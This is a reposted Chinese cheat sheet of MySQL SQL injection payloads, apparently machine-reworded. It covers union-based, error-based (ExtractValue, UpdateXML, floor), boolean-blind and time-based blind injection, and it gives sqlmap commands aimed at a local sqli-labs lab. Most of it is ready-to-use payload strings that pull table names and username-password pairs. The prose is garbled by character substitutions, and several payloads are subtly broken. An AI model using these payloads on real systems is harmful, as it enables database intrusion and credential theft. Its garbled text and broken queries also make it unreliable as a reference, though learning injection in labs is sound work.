|
|
<
数据库注进语句的搜集战进修
连合查询注进
利用场景
甚么是显现位: 正在一个正在一个网站的一般页里,效劳端施行SQL语句查询数据库中的数据,客户端将数 据展现正在页里中,那个展现数据的地位便叫显现位 。
1、判定当前数据表中有几列:
?id=1’ order by 数值 --+
2、检察显现位正在第几列(假定一共三列):
?id=-1’ union select 1,2,3 --+
留意:那里必需是查询一个没有存正在的纪录才气起感化。
3、显现当前数据库(假定显现位中包含第三位):
?id=-1’ union select 1,2,database() --+
4、检察当前数据库中的一切表:
?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
函数group_concat()把一切成果皆正在一止输出
5、查询一切数据库:
?id=-1’ union select 1,2,(select group_concat(schema_name) from information_schema.schema) --+
6、查询某个数据库中的表:
?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
7、查询某个表中的一切字段:
?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
8、查询某个表中的字段内乱容:
?id=-1’ union select 1,2,(select group_concat(name, 0x3a, passwd) from security.users)
0x3a会被转义位冒号:
报错型注进
利用场景
- 页里上出有显现位可是有sql语句施行毛病疑息输出。
- Payload
次要有三种SQL注进报错方法:
ExtractValue
UpdateXml
floor
起首去看ExtractValue()函数,它担任两个字符串参数,第一个参数能够传进目的xml文档,第两个参数是用Xpath途径法暗示的查找途径。那里假如Xpath格局语法誊写毛病的话,便会报错。那里便是操纵那个特征去得到我们念要明白的内乱容。 比方:
- mysql> select ExtractValue('<a><b><b/></a>', '~');
- ERROR 1105 (HY000): XPATH syntax error: '~'
复造代码 操纵concat函数将念要得到的数据库内乱容拼接到第两个参数中,报错时做为内乱容输出。
- mysql> select ExtractValue('<a><b><b/></a>', concat('~', (select database())));
- ERROR 1105 (HY000): XPATH syntax error: '~security'
复造代码
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需求操作的xml片断
xpath_expr: 需求更新的xml途径(Xpath格局)
new_xml: 更新后的内乱容
不外那些参数皆没有太主要,那里战上里的extractvalue函数一样,当Xpath途径语法毛病时,便会报错,报错内乱容露有毛病的途径内乱容:
- mysql> select updatexml('test', concat('~', (select database())), 'test');
- ERROR 1105 (HY000): XPATH syntax error: '~security'
复造代码- mysql> select updatexml('test', concat('~', (select version())), 'test');
- ERROR 1105 (HY000): XPATH syntax error: '~5.7.27-0ubuntu0.18.0.1'
复造代码
牢固格局:
- ?id=-1' union select 1, count(*), concat((******), floor(rand()*2))as a from information_schema.tables group by a --+
- ******交换为查询语句便可。
复造代码 1、查询数据库
?id=-1’ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
2、查询某个数据库中的表
?id=-1’ union select 1,count(*), concat((select table_name from information_schema.tables where table_schema=‘security’ limit 1, 1), floor(rand()*2)) as a from information_schema.columns group by a --+
3、查询表中的字段
?id=-1’ union select 1, count(*), concat((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’, limit 1,1), floor(rand()*2)) as a from information_schema.columns group by a --+
4、查询表中的字段内乱容
?id=-1’ union select 1,count(*), concat((select concat_ws(’|’,username,password) from security.users limit 1,1), floor(rand()*2))as a from information_schema.tables group by a --+
修正limit x,1 能够显现第x个用户的password战username。
布我盲注
利用场景
页里出有显现位,也出有SQL语句施行毛病疑息,只能经由过程页里返回能否一般去判定注进面。
1、查询数据库个数
?id=1’ union (select count(schema_name) from information_schema.schemata) < 77 --+
2、查询某一个数据库名的少度
?id=1’ union (select length(schema_name) from information_schema.schemata limit 1,1) < 77 --+
3、查询某个数据库名
?id=1’ union (select assii(substr(select schema_name from information_schema.schema limit 1,1)1,1)) < 77 --+
1、查询表的个数
?id=1’ union (select count(table_name) from information_schema.tables where table_schema=‘security’) < 77 --+
2、查询表的少度
?id=1’ union (select length(table_name) from information.schema.tables where table_schema=‘security’) < 77 --+
3、检察某个表名
?id=1’ union (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))) < 77 --+
1、检察某个表中的字段个数
?id=1’ union (select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) < 77 --+
2、检察某个字段名的少度
?id=1’ union (select length(column_name) from infomation_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1) < 77 --+
3、检察某个字段名
?id=1’ union (select ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))) < 77 --+
1、检察表中止数
?id=1’ union (select count(*) from security.users) < 77 --+
2、检察某个字段内乱容的少度
?id=1’ union (select length(username) from security.users limit 1,1) < 77 --+
3、检察某个字段的内乱容
?id=1’ union (select ascii(substr((select username from security.users limit 1,1),1,1))) < 77 --+
工夫盲注
利用场景
页里上出有显现位,也出有输出SQL语句施行毛病疑息。准确的SQL语句战毛病的SQL语句返回页里皆一样,可是参加sleep(5)前提以后,假如if前提建立则页里的返回速率较着缓了5秒。
1、判定数据库的个数
id=1’ and if((select count(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
2、判定数据库名的少度
id=1’ and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
3、查询数据库名
id=1’ and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))=105, sleep(5), 1) --+
SQLMap Payload
1、以sqlilab中的Less-8为例(布我型单引号GET盲注),检察sqlmap中利用的payloads,施行号令:
- python sqlmap.py -v 3 -u "http://localhost/sqlilabs/Less-8/?id=1" --dbs --dbms="MySQL"
复造代码
ORD(string) :返回字符串尾字符的ASCII码值。
MID(string,start,length) :返回字符串的从start开端少度为length的字符串。
IFNULL(string1,string2) :假如string1是NULL则返回string2,假如没有是NULL返回string1。
CAST(volume as type) 用于数据范例转换,将volume转换成type范例的数据(如那里是将数字转
换为字符串)。
COUNT(): 统计个数。
DISTINCT(): 标识表记标帜只需差别(独一)的值。
2、 再以sqlilab中的Less-4为例(基于毛病的GET单引号字符型注进),检察sqlmap中利用的payloads,施行号令:
- python sqlmap.py -v 3 -u "http://localhost/sqlilabs/Less-4/?id=1" --level 4 --dbs --dbms="MySQL"
复造代码 SQLMap施行的payload以下所示:
- sql -u [url] --tamper [模块名]
复造代码 多多分享交换
免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作! |
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请您发送邮箱:Cdnjson@163.com提供相关证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
|